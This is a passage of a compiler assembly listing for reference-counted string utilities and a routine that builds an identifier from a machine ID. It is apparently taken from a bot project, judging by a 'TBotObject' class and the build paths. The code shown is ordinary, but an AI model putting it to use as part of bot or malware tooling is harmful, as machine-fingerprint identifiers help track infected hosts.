  00003	e8 00 00 00 00	 call	 ?IsEmpty@?$STRUTILS@D@@SA_NPBD@Z ; STRUTILS<char>::IsEmpty
  00008	59		 pop	 ecx
; 696  : }
  00009	c3		 ret	 0
?IsEmpty@?$TString@D@@QBE_NXZ ENDP			; TString<char>::IsEmpty
_TEXT	ENDS
PUBLIC	??$CreateFromStr@D@STRBUF@@YAPADPBDKK@Z		; STRBUF::CreateFromStr<char>
EXTRN	?m_memcpy@@YAPAXPAXPBXH@Z:PROC			; m_memcpy
; Function compile flags: /Ogspy
;	COMDAT ??$CreateFromStr@D@STRBUF@@YAPADPBDKK@Z
_TEXT	SEGMENT
_Str$ = 8						; size = 4
_StrLen$ = 12						; size = 4
_ResultStrSize$ = 16					; size = 4
??$CreateFromStr@D@STRBUF@@YAPADPBDKK@Z PROC		; STRBUF::CreateFromStr<char>, COMDAT
; 457  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
; 458  : 	// 
; 459  : 	if (STRUTILS<TChar>::IsEmpty(Str))
  00003	ff 75 08	 push	 DWORD PTR _Str$[ebp]
  00006	e8 00 00 00 00	 call	 ?IsEmpty@?$STRUTILS@D@@SA_NPBD@Z ; STRUTILS<char>::IsEmpty
  0000b	59		 pop	 ecx
  0000c	84 c0		 test	 al, al
  0000e	74 04		 je	 SHORT $LN3@CreateFrom
; 460  : 		return NULL;
  00010	33 c0		 xor	 eax, eax
; 474  : }
  00012	5d		 pop	 ebp
  00013	c3		 ret	 0
$LN3@CreateFrom:
  00014	56		 push	 esi
  00015	57		 push	 edi
; 461  : 
; 462  : 	if (StrLen == 0)
  00016	8b 7d 0c	 mov	 edi, DWORD PTR _StrLen$[ebp]
  00019	85 ff		 test	 edi, edi
  0001b	75 0b		 jne	 SHORT $LN2@CreateFrom
; 463  : 		StrLen = STRUTILS<TChar>::Length(Str);
  0001d	ff 75 08	 push	 DWORD PTR _Str$[ebp]
  00020	e8 00 00 00 00	 call	 ?Length@?$STRUTILS@D@@SAKPBD@Z ; STRUTILS<char>::Length
  00025	59		 pop	 ecx
  00026	8b f8		 mov	 edi, eax
$LN2@CreateFrom:
; 464  : 
; 465  :     DWORD ResSize = Max(StrLen, ResultStrSize);
  00028	8b 45 10	 mov	 eax, DWORD PTR _ResultStrSize$[ebp]
  0002b	3b f8		 cmp	 edi, eax
  0002d	76 02		 jbe	 SHORT $LN6@CreateFrom
  0002f	8b c7		 mov	 eax, edi
$LN6@CreateFrom:
; 466  : 	TChar* Result = Alloc<TChar>(ResSize);
  00031	50		 push	 eax
  00032	e8 00 00 00 00	 call	 ??$Alloc@D@STRBUF@@YAPADK@Z ; STRBUF::Alloc<char>
  00037	8b f0		 mov	 esi, eax
  00039	59		 pop	 ecx
; 467  : 	if (Result)
  0003a	85 f6		 test	 esi, esi
  0003c	74 10		 je	 SHORT $LN1@CreateFrom
; 468  : 	{
; 469  : 		// 
; 470  : 		m_memcpy(Result, Str, StrLen * sizeof(TChar));
  0003e	57		 push	 edi
  0003f	ff 75 08	 push	 DWORD PTR _Str$[ebp]
  00042	56		 push	 esi
  00043	e8 00 00 00 00	 call	 ?m_memcpy@@YAPAXPAXPBXH@Z ; m_memcpy
  00048	83 c4 0c	 add	 esp, 12			; 0000000cH
; 471  : 		GetRec(Result).Length = StrLen;
  0004b	89 7e f8	 mov	 DWORD PTR [esi-8], edi
$LN1@CreateFrom:
  0004e	5f		 pop	 edi
; 472  : 	}
; 473  : 	return Result;
  0004f	8b c6		 mov	 eax, esi
  00051	5e		 pop	 esi
; 474  : }
  00052	5d		 pop	 ebp
  00053	c3		 ret	 0
??$CreateFromStr@D@STRBUF@@YAPADPBDKK@Z ENDP		; STRBUF::CreateFromStr<char>
_TEXT	ENDS
PUBLIC	??$AddRef@D@STRBUF@@YAPADPAD@Z			; STRBUF::AddRef<char>
; Function compile flags: /Ogspy
;	COMDAT ??$AddRef@D@STRBUF@@YAPADPAD@Z
_TEXT	SEGMENT
_Str$ = 8						; size = 4
??$AddRef@D@STRBUF@@YAPADPAD@Z PROC			; STRBUF::AddRef<char>, COMDAT
; 417  : 	// 
; 418  : 	if (Str)
  00000	8b 44 24 04	 mov	 eax, DWORD PTR _Str$[esp-4]
  00004	85 c0		 test	 eax, eax
  00006	74 03		 je	 SHORT $LN1@AddRef
; 419  : 		GetRec(Str).RefCount++;
  00008	ff 40 fc	 inc	 DWORD PTR [eax-4]
$LN1@AddRef:
; 420  : 	return Str;
; 421  : }
  0000b	c3		 ret	 0
??$AddRef@D@STRBUF@@YAPADPAD@Z ENDP			; STRBUF::AddRef<char>
_TEXT	ENDS
PUBLIC	??$Release@D@STRBUF@@YAXAAPAD@Z			; STRBUF::Release<char>
; Function compile flags: /Ogspy
;	COMDAT ??$Release@D@STRBUF@@YAXAAPAD@Z
_TEXT	SEGMENT
_Str$ = 8						; size = 4
??$Release@D@STRBUF@@YAXAAPAD@Z PROC			; STRBUF::Release<char>, COMDAT
; 401  : {
  00000	56		 push	 esi
; 402  : 	// 
; 403  : 	if (Str)
  00001	8b 74 24 08	 mov	 esi, DWORD PTR _Str$[esp]
  00005	8b 06		 mov	 eax, DWORD PTR [esi]
  00007	85 c0		 test	 eax, eax
  00009	74 12		 je	 SHORT $LN2@Release
; 404  : 	{
; 405  : 		TStrRec &R = GetRec(Str);
  0000b	83 c0 f4	 add	 eax, -12		; fffffff4H
; 406  : 		R.RefCount--;
  0000e	ff 48 08	 dec	 DWORD PTR [eax+8]
; 407  : 		if (R.RefCount == 0)
  00011	75 07		 jne	 SHORT $LN1@Release
; 408  :             HEAP::Free(&R);
  00013	50		 push	 eax
  00014	e8 00 00 00 00	 call	 ?Free@HEAP@@YAXPAX@Z	; HEAP::Free
  00019	59		 pop	 ecx
$LN1@Release:
; 409  :         Str = NULL;
  0001a	83 26 00	 and	 DWORD PTR [esi], 0
$LN2@Release:
  0001d	5e		 pop	 esi
; 410  :     }
; 411  : }
  0001e	c3		 ret	 0
??$Release@D@STRBUF@@YAXAAPAD@Z ENDP			; STRBUF::Release<char>
_TEXT	ENDS
PUBLIC	??$Length@D@STRBUF@@YAKPAD@Z			; STRBUF::Length<char>
; Function compile flags: /Ogspy
;	COMDAT ??$Length@D@STRBUF@@YAKPAD@Z
_TEXT	SEGMENT
_Str$ = 8						; size = 4
??$Length@D@STRBUF@@YAKPAD@Z PROC			; STRBUF::Length<char>, COMDAT
; 451  : 	return (Str)? GetRec(Str).Length : 0;
  00000	8b 44 24 04	 mov	 eax, DWORD PTR _Str$[esp-4]
  00004	85 c0		 test	 eax, eax
  00006	74 04		 je	 SHORT $LN3@Length@2
  00008	8b 40 f8	 mov	 eax, DWORD PTR [eax-8]
; 452  : }
  0000b	c3		 ret	 0
$LN3@Length@2:
; 451  : 	return (Str)? GetRec(Str).Length : 0;
  0000c	33 c0		 xor	 eax, eax
; 452  : }
  0000e	c3		 ret	 0
??$Length@D@STRBUF@@YAKPAD@Z ENDP			; STRBUF::Length<char>
_TEXT	ENDS
PUBLIC	??$Append@D@STRBUF@@YAXAAPADPBDK@Z		; STRBUF::Append<char>
; Function compile flags: /Ogspy
;	COMDAT ??$Append@D@STRBUF@@YAXAAPADPBDK@Z
_TEXT	SEGMENT
_Tmp$92314 = -4						; size = 4
_Dst$ = 8						; size = 4
_Src$ = 12						; size = 4
_SrcLen$ = 16						; size = 4
??$Append@D@STRBUF@@YAXAAPADPBDK@Z PROC			; STRBUF::Append<char>, COMDAT
; 479  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	51		 push	 ecx
; 480  : 	// 
; 481  : 	if (STRUTILS<TChar>::IsEmpty(Src))
  00004	ff 75 0c	 push	 DWORD PTR _Src$[ebp]
  00007	e8 00 00 00 00	 call	 ?IsEmpty@?$STRUTILS@D@@SA_NPBD@Z ; STRUTILS<char>::IsEmpty
  0000c	59		 pop	 ecx
  0000d	84 c0		 test	 al, al
  0000f	0f 85 84 00 00
	00		 jne	 $LN1@Append
  00015	57		 push	 edi
; 482  : 		return;
; 483  : 
; 484  : 
; 485  : 	if (SrcLen == 0)
  00016	33 ff		 xor	 edi, edi
  00018	39 7d 10	 cmp	 DWORD PTR _SrcLen$[ebp], edi
  0001b	75 0c		 jne	 SHORT $LN6@Append
; 486  : 		SrcLen = STRUTILS<TChar>::Length(Src);
  0001d	ff 75 0c	 push	 DWORD PTR _Src$[ebp]
  00020	e8 00 00 00 00	 call	 ?Length@?$STRUTILS@D@@SAKPBD@Z ; STRUTILS<char>::Length
  00025	59		 pop	 ecx
  00026	89 45 10	 mov	 DWORD PTR _SrcLen$[ebp], eax
$LN6@Append:
  00029	56		 push	 esi
; 487  : 
; 488  : 	if (Dst == NULL)
  0002a	8b 75 08	 mov	 esi, DWORD PTR _Dst$[ebp]
  0002d	8b 06		 mov	 eax, DWORD PTR [esi]
  0002f	3b c7		 cmp	 eax, edi
  00031	75 13		 jne	 SHORT $LN5@Append
; 489  : 	{
; 490  :     	// 
; 491  : 		Dst = CreateFromStr<TChar>(Src, SrcLen, 0);
  00033	57		 push	 edi
  00034	ff 75 10	 push	 DWORD PTR _SrcLen$[ebp]
  00037	ff 75 0c	 push	 DWORD PTR _Src$[ebp]
  0003a	e8 00 00 00 00	 call	 ??$CreateFromStr@D@STRBUF@@YAPADPBDKK@Z ; STRBUF::CreateFromStr<char>
  0003f	83 c4 0c	 add	 esp, 12			; 0000000cH
  00042	89 06		 mov	 DWORD PTR [esi], eax
; 492  : 	}
; 493  : 	else
  00044	eb 51		 jmp	 SHORT $LN15@Append
$LN5@Append:
; 494  : 	{
; 495  : 		// 
; 496  : 		TStrRec &R = GetRec(Dst);
; 497  : 		TChar* Tmp = NULL;
; 498  : 		DWORD DstLen = R.Length;
; 499  : 		DWORD TotalLen = SrcLen + DstLen;
  00046	8b 4d 10	 mov	 ecx, DWORD PTR _SrcLen$[ebp]
  00049	53		 push	 ebx
  0004a	8b 58 f8	 mov	 ebx, DWORD PTR [eax-8]
  0004d	89 7d fc	 mov	 DWORD PTR _Tmp$92314[ebp], edi
  00050	8d 3c 0b	 lea	 edi, DWORD PTR [ebx+ecx]
; 500  : 		if (R.Size < TotalLen || R.RefCount > 1)
  00053	39 78 f4	 cmp	 DWORD PTR [eax-12], edi
  00056	72 06		 jb	 SHORT $LN2@Append
  00058	83 78 fc 01	 cmp	 DWORD PTR [eax-4], 1
  0005c	76 10		 jbe	 SHORT $LN3@Append
$LN2@Append:
; 501  : 		{
; 502  :         	Tmp = Dst;
; 503  : 			Dst = CreateFromStr<TChar>(Tmp, DstLen, TotalLen);
  0005e	57		 push	 edi
  0005f	53		 push	 ebx
  00060	50		 push	 eax
  00061	89 45 fc	 mov	 DWORD PTR _Tmp$92314[ebp], eax
  00064	e8 00 00 00 00	 call	 ??$CreateFromStr@D@STRBUF@@YAPADPBDKK@Z ; STRBUF::CreateFromStr<char>
  00069	83 c4 0c	 add	 esp, 12			; 0000000cH
  0006c	89 06		 mov	 DWORD PTR [esi], eax
$LN3@Append:
; 504  :         }
; 505  : 		m_memcpy(Dst + DstLen, Src, SrcLen * sizeof(TChar));
  0006e	ff 75 10	 push	 DWORD PTR _SrcLen$[ebp]
  00071	8b 06		 mov	 eax, DWORD PTR [esi]
  00073	ff 75 0c	 push	 DWORD PTR _Src$[ebp]
  00076	03 c3		 add	 eax, ebx
  00078	50		 push	 eax
  00079	e8 00 00 00 00	 call	 ?m_memcpy@@YAPAXPAXPBXH@Z ; m_memcpy
; 506  : 		GetRec(Dst).Length = TotalLen;
  0007e	8b 06		 mov	 eax, DWORD PTR [esi]
  00080	83 c4 0c	 add	 esp, 12			; 0000000cH
; 507  : 
; 508  : 		if (Tmp)
  00083	83 7d fc 00	 cmp	 DWORD PTR _Tmp$92314[ebp], 0
  00087	89 78 f8	 mov	 DWORD PTR [eax-8], edi
  0008a	5b		 pop	 ebx
  0008b	74 0a		 je	 SHORT $LN15@Append
; 509  : 			Release<TChar>(Tmp);
  0008d	8d 45 fc	 lea	 eax, DWORD PTR _Tmp$92314[ebp]
  00090	50		 push	 eax
  00091	e8 00 00 00 00	 call	 ??$Release@D@STRBUF@@YAXAAPAD@Z ; STRBUF::Release<char>
  00096	59		 pop	 ecx
$LN15@Append:
  00097	5e		 pop	 esi
  00098	5f		 pop	 edi
$LN1@Append:
; 510  :     }
; 511  : }
  00099	c9		 leave
  0009a	c3		 ret	 0
??$Append@D@STRBUF@@YAXAAPADPBDK@Z ENDP			; STRBUF::Append<char>
_TEXT	ENDS
PUBLIC	??0?$TString@D@@QAE@PBDK@Z			; TString<char>::TString<char>
; Function compile flags: /Ogspy
;	COMDAT ??0?$TString@D@@QAE@PBDK@Z
_TEXT	SEGMENT
_src$ = 8						; size = 4
_copylen$ = 12						; size = 4
??0?$TString@D@@QAE@PBDK@Z PROC				; TString<char>::TString<char>, COMDAT
; _this$ = ecx
; 671  : {
  00000	56		 push	 esi
; 672  : 	Data = STRBUF::CreateFromStr<TChar>(src, copylen, 0);
  00001	6a 00		 push	 0
  00003	ff 74 24 10	 push	 DWORD PTR _copylen$[esp+4]
  00007	8b f1		 mov	 esi, ecx
  00009	ff 74 24 10	 push	 DWORD PTR _src$[esp+8]
  0000d	c7 06 00 00 00
	00		 mov	 DWORD PTR [esi], OFFSET ??_7?$TString@D@@6B@
  00013	e8 00 00 00 00	 call	 ??$CreateFromStr@D@STRBUF@@YAPADPBDKK@Z ; STRBUF::CreateFromStr<char>
  00018	89 46 04	 mov	 DWORD PTR [esi+4], eax
  0001b	83 c4 0c	 add	 esp, 12			; 0000000cH
; 673  : }
  0001e	8b c6		 mov	 eax, esi
  00020	5e		 pop	 esi
  00021	c2 08 00	 ret	 8
??0?$TString@D@@QAE@PBDK@Z ENDP				; TString<char>::TString<char>
_TEXT	ENDS
PUBLIC	??0?$TString@D@@QAE@PBD@Z			; TString<char>::TString<char>
; Function compile flags: /Ogspy
;	COMDAT ??0?$TString@D@@QAE@PBD@Z
_TEXT	SEGMENT
_Src$ = 8						; size = 4
??0?$TString@D@@QAE@PBD@Z PROC				; TString<char>::TString<char>, COMDAT
; _this$ = ecx
; 666  : {
  00000	56		 push	 esi
; 667  : 	Data = STRBUF::CreateFromStr<TChar>(Src, 0, 0);
  00001	6a 00		 push	 0
  00003	6a 00		 push	 0
  00005	ff 74 24 10	 push	 DWORD PTR _Src$[esp+8]
  00009	8b f1		 mov	 esi, ecx
  0000b	c7 06 00 00 00
	00		 mov	 DWORD PTR [esi], OFFSET ??_7?$TString@D@@6B@
  00011	e8 00 00 00 00	 call	 ??$CreateFromStr@D@STRBUF@@YAPADPBDKK@Z ; STRBUF::CreateFromStr<char>
  00016	89 46 04	 mov	 DWORD PTR [esi+4], eax
  00019	83 c4 0c	 add	 esp, 12			; 0000000cH
; 668  : }
  0001c	8b c6		 mov	 eax, esi
  0001e	5e		 pop	 esi
  0001f	c2 04 00	 ret	 4
??0?$TString@D@@QAE@PBD@Z ENDP				; TString<char>::TString<char>
_TEXT	ENDS
PUBLIC	??0?$TString@D@@QAE@ABV0@@Z			; TString<char>::TString<char>
; Function compile flags: /Ogspy
;	COMDAT ??0?$TString@D@@QAE@ABV0@@Z
_TEXT	SEGMENT
_src$ = 8						; size = 4
??0?$TString@D@@QAE@ABV0@@Z PROC			; TString<char>::TString<char>, COMDAT
; _this$ = ecx
; 661  : 	Data = STRBUF::AddRef<TChar>(src.Data);
  00000	8b 44 24 04	 mov	 eax, DWORD PTR _src$[esp-4]
  00004	56		 push	 esi
  00005	8b f1		 mov	 esi, ecx
  00007	c7 06 00 00 00
	00		 mov	 DWORD PTR [esi], OFFSET ??_7?$TString@D@@6B@
  0000d	ff 70 04	 push	 DWORD PTR [eax+4]
  00010	e8 00 00 00 00	 call	 ??$AddRef@D@STRBUF@@YAPADPAD@Z ; STRBUF::AddRef<char>
  00015	89 46 04	 mov	 DWORD PTR [esi+4], eax
  00018	59		 pop	 ecx
; 662  : }
  00019	8b c6		 mov	 eax, esi
  0001b	5e		 pop	 esi
  0001c	c2 04 00	 ret	 4
??0?$TString@D@@QAE@ABV0@@Z ENDP			; TString<char>::TString<char>
_TEXT	ENDS
PUBLIC	??1?$TString@D@@UAE@XZ				; TString<char>::~TString<char>
; Function compile flags: /Ogspy
;	COMDAT ??1?$TString@D@@UAE@XZ
_TEXT	SEGMENT
??1?$TString@D@@UAE@XZ PROC				; TString<char>::~TString<char>, COMDAT
; _this$ = ecx
; 676  : {
  00000	56		 push	 esi
  00001	8b f1		 mov	 esi, ecx
; 677  : 	STRBUF::Release<TChar>(Data);
  00003	8d 46 04	 lea	 eax, DWORD PTR [esi+4]
  00006	50		 push	 eax
  00007	c7 06 00 00 00
	00		 mov	 DWORD PTR [esi], OFFSET ??_7?$TString@D@@6B@
  0000d	e8 00 00 00 00	 call	 ??$Release@D@STRBUF@@YAXAAPAD@Z ; STRBUF::Release<char>
  00012	59		 pop	 ecx
; 678  : }
  00013	c7 06 00 00 00
	00		 mov	 DWORD PTR [esi], OFFSET ??_7TBotObject@@6B@
  00019	5e		 pop	 esi
  0001a	c3		 ret	 0
??1?$TString@D@@UAE@XZ ENDP				; TString<char>::~TString<char>
_TEXT	ENDS
PUBLIC	?Length@?$TString@D@@QBEKXZ			; TString<char>::Length
; Function compile flags: /Ogspy
;	COMDAT ?Length@?$TString@D@@QBEKXZ
_TEXT	SEGMENT
?Length@?$TString@D@@QBEKXZ PROC			; TString<char>::Length, COMDAT
; _this$ = ecx
; 683  : 	return  STRBUF::Length<TChar>(Data);
  00000	ff 71 04	 push	 DWORD PTR [ecx+4]
  00003	e8 00 00 00 00	 call	 ??$Length@D@STRBUF@@YAKPAD@Z ; STRBUF::Length<char>
  00008	59		 pop	 ecx
; 684  : }
  00009	c3		 ret	 0
?Length@?$TString@D@@QBEKXZ ENDP			; TString<char>::Length
_TEXT	ENDS
PUBLIC	??4?$TString@D@@QAEAAV0@PBD@Z			; TString<char>::operator=
; Function compile flags: /Ogspy
;	COMDAT ??4?$TString@D@@QAEAAV0@PBD@Z
_TEXT	SEGMENT
_Source$ = 8						; size = 4
??4?$TString@D@@QAEAAV0@PBD@Z PROC			; TString<char>::operator=, COMDAT
; _this$ = ecx
; 914  : {
  00000	56		 push	 esi
  00001	57		 push	 edi
  00002	8b f9		 mov	 edi, ecx
; 915  : 	STRBUF::Release<TChar>(Data);
  00004	8d 77 04	 lea	 esi, DWORD PTR [edi+4]
  00007	56		 push	 esi
  00008	e8 00 00 00 00	 call	 ??$Release@D@STRBUF@@YAXAAPAD@Z ; STRBUF::Release<char>
; 916  : 	Data = STRBUF::CreateFromStr<TChar>(Source, 0, 0);
  0000d	6a 00		 push	 0
  0000f	6a 00		 push	 0
  00011	ff 74 24 18	 push	 DWORD PTR _Source$[esp+16]
  00015	e8 00 00 00 00	 call	 ??$CreateFromStr@D@STRBUF@@YAPADPBDKK@Z ; STRBUF::CreateFromStr<char>
  0001a	83 c4 10	 add	 esp, 16			; 00000010H
  0001d	89 06		 mov	 DWORD PTR [esi], eax
; 917  : 	return *this;
  0001f	8b c7		 mov	 eax, edi
  00021	5f		 pop	 edi
  00022	5e		 pop	 esi
; 918  : }
  00023	c2 04 00	 ret	 4
??4?$TString@D@@QAEAAV0@PBD@Z ENDP			; TString<char>::operator=
_TEXT	ENDS
PUBLIC	??4?$TString@D@@QAEAAV0@ABV0@@Z			; TString<char>::operator=
; Function compile flags: /Ogspy
;	COMDAT ??4?$TString@D@@QAEAAV0@ABV0@@Z
_TEXT	SEGMENT
_Source$ = 8						; size = 4
??4?$TString@D@@QAEAAV0@ABV0@@Z PROC			; TString<char>::operator=, COMDAT
; _this$ = ecx
; 904  : {
  00000	53		 push	 ebx
  00001	56		 push	 esi
  00002	8b d9		 mov	 ebx, ecx
; 905  : 	if (Data != Source.Data)
  00004	8d 73 04	 lea	 esi, DWORD PTR [ebx+4]
  00007	8b 06		 mov	 eax, DWORD PTR [esi]
  00009	57		 push	 edi
  0000a	8b 7c 24 10	 mov	 edi, DWORD PTR _Source$[esp+8]
  0000e	3b 47 04	 cmp	 eax, DWORD PTR [edi+4]
  00011	74 12		 je	 SHORT $LN1@operator
; 906  : 	{
; 907  : 		STRBUF::Release<TChar>(Data);
  00013	56		 push	 esi
  00014	e8 00 00 00 00	 call	 ??$Release@D@STRBUF@@YAXAAPAD@Z ; STRBUF::Release<char>
; 908  : 		Data = STRBUF::AddRef<TChar>(Source.Data);
  00019	ff 77 04	 push	 DWORD PTR [edi+4]
  0001c	e8 00 00 00 00	 call	 ??$AddRef@D@STRBUF@@YAPADPAD@Z ; STRBUF::AddRef<char>
  00021	59		 pop	 ecx
  00022	59		 pop	 ecx
  00023	89 06		 mov	 DWORD PTR [esi], eax
$LN1@operator:
  00025	5f		 pop	 edi
  00026	5e		 pop	 esi
; 909  :     }
; 910  : 	return *this;
  00027	8b c3		 mov	 eax, ebx
  00029	5b		 pop	 ebx
; 911  : }
  0002a	c2 04 00	 ret	 4
??4?$TString@D@@QAEAAV0@ABV0@@Z ENDP			; TString<char>::operator=
_TEXT	ENDS
PUBLIC	??Y?$TString@D@@QAEAAV0@PBD@Z			; TString<char>::operator+=
; Function compile flags: /Ogspy
;	COMDAT ??Y?$TString@D@@QAEAAV0@PBD@Z
_TEXT	SEGMENT
_Source$ = 8						; size = 4
??Y?$TString@D@@QAEAAV0@PBD@Z PROC			; TString<char>::operator+=, COMDAT
; _this$ = ecx
; 929  : 	if (Source)
  00000	83 7c 24 04 00	 cmp	 DWORD PTR _Source$[esp-4], 0
  00005	56		 push	 esi
  00006	8b f1		 mov	 esi, ecx
  00008	74 12		 je	 SHORT $LN1@operator@2
; 930  :     	STRBUF::Append<TChar>(Data, Source, 0);
  0000a	6a 00		 push	 0
  0000c	ff 74 24 0c	 push	 DWORD PTR _Source$[esp+4]
  00010	8d 46 04	 lea	 eax, DWORD PTR [esi+4]
  00013	50		 push	 eax
  00014	e8 00 00 00 00	 call	 ??$Append@D@STRBUF@@YAXAAPADPBDK@Z ; STRBUF::Append<char>
  00019	83 c4 0c	 add	 esp, 12			; 0000000cH
$LN1@operator@2:
; 931  : 	return *this;
  0001c	8b c6		 mov	 eax, esi
  0001e	5e		 pop	 esi
; 932  : }
  0001f	c2 04 00	 ret	 4
??Y?$TString@D@@QAEAAV0@PBD@Z ENDP			; TString<char>::operator+=
_TEXT	ENDS
PUBLIC	??Y?$TString@D@@QAEAAV0@ABV0@@Z			; TString<char>::operator+=
; Function compile flags: /Ogspy
;	COMDAT ??Y?$TString@D@@QAEAAV0@ABV0@@Z
_TEXT	SEGMENT
_Source$ = 8						; size = 4
??Y?$TString@D@@QAEAAV0@ABV0@@Z PROC			; TString<char>::operator+=, COMDAT
; _this$ = ecx
; 922  : 	if (Source.Data)
  00000	8b 44 24 04	 mov	 eax, DWORD PTR _Source$[esp-4]
  00004	56		 push	 esi
  00005	8b 70 04	 mov	 esi, DWORD PTR [eax+4]
  00008	57		 push	 edi
  00009	8b f9		 mov	 edi, ecx
  0000b	85 f6		 test	 esi, esi
  0000d	74 14		 je	 SHORT $LN1@operator@3
; 923  : 		STRBUF::Append<TChar>(Data, Source.Data, Source.Length());
  0000f	56		 push	 esi
  00010	e8 00 00 00 00	 call	 ??$Length@D@STRBUF@@YAKPAD@Z ; STRBUF::Length<char>
  00015	50		 push	 eax
  00016	8d 47 04	 lea	 eax, DWORD PTR [edi+4]
  00019	56		 push	 esi
  0001a	50		 push	 eax
  0001b	e8 00 00 00 00	 call	 ??$Append@D@STRBUF@@YAXAAPADPBDK@Z ; STRBUF::Append<char>
  00020	83 c4 10	 add	 esp, 16			; 00000010H
$LN1@operator@3:
; 924  : 	return *this;
  00023	8b c7		 mov	 eax, edi
  00025	5f		 pop	 edi
  00026	5e		 pop	 esi
; 925  : }
  00027	c2 04 00	 ret	 4
??Y?$TString@D@@QAEAAV0@ABV0@@Z ENDP			; TString<char>::operator+=
_TEXT	ENDS
PUBLIC	??_C@_01GBGANLPD@0?$AA@				; `string'
PUBLIC	?GenerateUidAsString@@YA?AV?$TString@D@@ABV1@@Z	; GenerateUidAsString
EXTRN	?m_lstrlen@@YGKPBD@Z:PROC			; m_lstrlen
EXTRN	?MakeMachineID@@YAPADXZ:PROC			; MakeMachineID
;	COMDAT ??_C@_01GBGANLPD@0?$AA@
CONST	SEGMENT
??_C@_01GBGANLPD@0?$AA@ DB '0', 00H			; `string'
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\common\dbgrpt.cpp
CONST	ENDS
;	COMDAT ?GenerateUidAsString@@YA?AV?$TString@D@@ABV1@@Z
_TEXT	SEGMENT
___$ReturnUdt$ = 8					; size = 4
_Prefix$ = 12						; size = 4
?GenerateUidAsString@@YA?AV?$TString@D@@ABV1@@Z PROC	; GenerateUidAsString, COMDAT
; 86   : {
  00000	53		 push	 ebx
  00001	56		 push	 esi
; 87   : 	string  uid = Prefix;
  00002	8b 74 24 10	 mov	 esi, DWORD PTR _Prefix$[esp+4]
  00006	57		 push	 edi
  00007	8b 7c 24 10	 mov	 edi, DWORD PTR ___$ReturnUdt$[esp+8]
  0000b	56		 push	 esi
  0000c	8b cf		 mov	 ecx, edi
  0000e	e8 00 00 00 00	 call	 ??0?$TString@D@@QAE@ABV0@@Z ; TString<char>::TString<char>
; 88   : 	PCHAR   uid_ptr = MakeMachineID();
  00013	e8 00 00 00 00	 call	 ?MakeMachineID@@YAPADXZ	; MakeMachineID
  00018	8b d8		 mov	 ebx, eax
; 89   : 	size_t  uid_size = m_lstrlen(uid_ptr);
  0001a	53		 push	 ebx
  0001b	e8 00 00 00 00	 call	 ?m_lstrlen@@YGKPBD@Z	; m_lstrlen
; 90   : 	if (Prefix.Length() > 0) uid += "0";
  00020	ff 76 04	 push	 DWORD PTR [esi+4]
  00023	e8 00 00 00 00	 call	 ??$Length@D@STRBUF@@YAKPAD@Z ; STRBUF::Length<char>
  00028	59		 pop	 ecx
  00029	85 c0		 test	 eax, eax
  0002b	76 0c		 jbe	 SHORT $LN1@GenerateUi
  0002d	68 00 00 00 00	 push	 OFFSET ??_C@_01GBGANLPD@0?$AA@
  00032	8b cf		 mov	 ecx, edi
  00034	e8 00 00 00 00	 call	 ??Y?$TString@D@@QAEAAV0@PBD@Z ; TString<char>::operator+=
$LN1@GenerateUi:
; 91   : 	uid += uid_ptr;
  00039	53		 push	 ebx
  0003a	8b cf		 mov	 ecx, edi
  0003c	e8 00 00 00 00	 call	 ??Y?$TString@D@@QAEAAV0@PBD@Z ; TString<char>::operator+=
; 92   : 
; 93   : 	return uid;
  00041	8b c7		 mov	 eax, edi
  00043	5f		 pop	 edi
  00044	5e		 pop	 esi
  00045	5b		 pop	 ebx
; 94   : }
  00046	c3		 ret	 0
?GenerateUidAsString@@YA?AV?$TString@D@@ABV1@@Z ENDP	; GenerateUidAsString
_TEXT	ENDS
PUBLIC	??_C@_01CELHOKLL@?$HN?$AA@			; `string'
PUBLIC	??_C@_01JOAMLHOP@?9?$AA@			; `string'
PUBLIC	??_C@_01HCONENDN@?$HL?$AA@			; `string'
PUBLIC	?CreateGuidFromUid@@YA?AV?$TString@D@@ABV1@@Z	; CreateGuidFromUid
;	COMDAT ??_C@_01CELHOKLL@?$HN?$AA@
; File e:\projects\progs\petrosjan\bjwj\source\core\strimplementation.cpp
CONST	SEGMENT
??_C@_01CELHOKLL@?$HN?$AA@ DB '}', 00H			; `string'
CONST	ENDS
;	COMDAT ??_C@_01JOAMLHOP@?9?$AA@
CONST	SEGMENT
??_C@_01JOAMLHOP@?9?$AA@ DB '-', 00H			; `string'
CONST	ENDS
;	COMDAT ??_C@_01HCONENDN@?$HL?$AA@
CONST	SEGMENT
??_C@_01HCONENDN@?$HL?$AA@ DB '{', 00H			; `string'
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\common\dbgrpt.cpp
CONST	ENDS
;	COMDAT ?CreateGuidFromUid@@YA?AV?$TString@D@@ABV1@@Z
_TEXT	SEGMENT
_parts$ = -36						; size = 20
$T92818 = -16						; size = 8
_wide_uid$ = -8						; size = 8
_CurPtr$ = 8						; size = 4
___$ReturnUdt$ = 8					; size = 4
_uid$ = 12						; size = 4
?CreateGuidFromUid@@YA?AV?$TString@D@@ABV1@@Z PROC	; CreateGuidFromUid, COMDAT
; 98   : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	83 ec 24	 sub	 esp, 36			; 00000024H
  00006	53		 push	 ebx
  00007	56		 push	 esi
; 99   : 	string wide_uid;
; 100  : 	string guid;
  00008	8b 75 08	 mov	 esi, DWORD PTR ___$ReturnUdt$[ebp]
  0000b	57		 push	 edi
  0000c	b8 00 00 00 00	 mov	 eax, OFFSET ??_7?$TString@D@@6B@
; 101  : 	DWORD  parts[5] = {8, 4, 4, 4, 12};
  00011	6a 04		 push	 4
  00013	33 ff		 xor	 edi, edi
  00015	89 45 f8	 mov	 DWORD PTR _wide_uid$[ebp], eax
  00018	89 06		 mov	 DWORD PTR [esi], eax
  0001a	58		 pop	 eax
  0001b	89 7d fc	 mov	 DWORD PTR _wide_uid$[ebp+4], edi
  0001e	89 7e 04	 mov	 DWORD PTR [esi+4], edi
  00021	c7 45 dc 08 00
	00 00		 mov	 DWORD PTR _parts$[ebp], 8
  00028	89 45 e0	 mov	 DWORD PTR _parts$[ebp+4], eax
  0002b	89 45 e4	 mov	 DWORD PTR _parts$[ebp+8], eax
  0002e	89 45 e8	 mov	 DWORD PTR _parts$[ebp+12], eax
  00031	c7 45 ec 0c 00
	00 00		 mov	 DWORD PTR _parts$[ebp+16], 12 ; 0000000cH
; 102  : 
; 103  : 
